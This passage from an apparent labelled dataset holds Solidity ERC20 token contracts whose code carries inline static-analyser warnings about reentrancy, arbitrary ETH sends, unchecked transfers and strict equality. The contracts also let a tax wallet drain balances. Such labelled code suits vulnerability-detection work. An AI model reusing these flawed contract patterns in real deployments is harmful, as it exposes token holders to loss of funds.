allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 30cc316): Twitter._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 30cc316: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e67d23a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 89e30f8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 91fda78): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 91fda78: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 08151fc): Twitter._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 08151fc: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b50d43e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b50d43e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a420fc4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a420fc4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 08151fc\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 91fda78\n\t\t\t\t// reentrancy-eth | ID: b50d43e\n\t\t\t\t// reentrancy-eth | ID: a420fc4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 91fda78\n\t\t\t\t\t// reentrancy-eth | ID: b50d43e\n\t\t\t\t\t// reentrancy-eth | ID: a420fc4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a420fc4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a420fc4\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 91fda78\n\t\t\t\t// reentrancy-eth | ID: b50d43e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 91fda78\n\t\t\t\t\t// reentrancy-eth | ID: b50d43e\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b50d43e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 91fda78\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b50d43e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b50d43e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 91fda78\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 89e30f8\n\t\t// reentrancy-events | ID: 91fda78\n\t\t// reentrancy-benign | ID: e67d23a\n\t\t// reentrancy-eth | ID: b50d43e\n\t\t// reentrancy-eth | ID: a420fc4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d4902af): Twitter.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d4902af: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 89e30f8\n\t\t// reentrancy-events | ID: 91fda78\n\t\t// reentrancy-eth | ID: b50d43e\n\t\t// reentrancy-eth | ID: a420fc4\n\t\t// arbitrary-send-eth | ID: d4902af\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 4988caa): Twitter.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 4988caa: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 4988caa\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c156027): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c156027: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 27efa5a): Twitter.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 27efa5a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f40233b): Twitter.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f40233b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 506f244): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 506f244: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: c156027\n\t\t// unused-return | ID: f40233b\n\t\t// reentrancy-eth | ID: 506f244\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c156027\n\t\t// unused-return | ID: 27efa5a\n\t\t// reentrancy-eth | ID: 506f244\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c156027\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 506f244\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: c156027\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10754.sol",
"size_bytes": 23113,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract OmniMind is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38a5ffa): OmniMind._taxWallet should be immutable \n\t// Recommendation for 38a5ffa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fccb2a): OmniMind._initialBuyTax should be constant \n\t// Recommendation for 7fccb2a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a5f5aa): OmniMind._initialSellTax should be constant \n\t// Recommendation for 9a5f5aa: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e05a75d): OmniMind._reduceBuyTaxAt should be constant \n\t// Recommendation for e05a75d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: caa7771): OmniMind._reduceSellTaxAt should be constant \n\t// Recommendation for caa7771: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c65a08): OmniMind._preventSwapBefore should be constant \n\t// Recommendation for 0c65a08: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"OmniMind\";\n\n string private constant _symbol = unicode\"OMNIMIND\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8a63a14): OmniMind._taxSwapThreshold should be constant \n\t// Recommendation for 8a63a14: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c0667e): OmniMind._maxTaxSwap should be constant \n\t// Recommendation for 1c0667e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2ee81ad): OmniMind.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2ee81ad: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cc25a01): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cc25a01: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0dddb6b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0dddb6b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cc25a01\n\t\t// reentrancy-benign | ID: 0dddb6b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: cc25a01\n\t\t// reentrancy-benign | ID: 0dddb6b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5eddd14): OmniMind._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5eddd14: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0dddb6b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cc25a01\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8c1e2dd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8c1e2dd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: de18049): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for de18049: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 8c1e2dd\n\t\t\t\t// reentrancy-eth | ID: de18049\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8c1e2dd\n\t\t\t\t\t// reentrancy-eth | ID: de18049\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: de18049\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: de18049\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: de18049\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8c1e2dd\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: de18049\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: de18049\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8c1e2dd\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cc25a01\n\t\t// reentrancy-events | ID: 8c1e2dd\n\t\t// reentrancy-benign | ID: 0dddb6b\n\t\t// reentrancy-eth | ID: de18049\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ca79de3): OmniMind.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for ca79de3: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: cc25a01\n\t\t// reentrancy-events | ID: 8c1e2dd\n\t\t// reentrancy-eth | ID: de18049\n\t\t// arbitrary-send-eth | ID: ca79de3\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 75759f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 75759f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dc0e45f): OmniMind.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for dc0e45f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d33c720): OmniMind.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d33c720: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 17133e9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 17133e9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 75759f5\n\t\t// reentrancy-eth | ID: 17133e9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 75759f5\n\t\t// unused-return | ID: d33c720\n\t\t// reentrancy-eth | ID: 17133e9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 75759f5\n\t\t// unused-return | ID: dc0e45f\n\t\t// reentrancy-eth | ID: 17133e9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 75759f5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 17133e9\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 671ad44): OmniMind.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 671ad44: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 671ad44\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10755.sol",
"size_bytes": 20235,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9647fea): NYSE.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 9647fea: Consider ordering multiplication before division.\n// WARNING 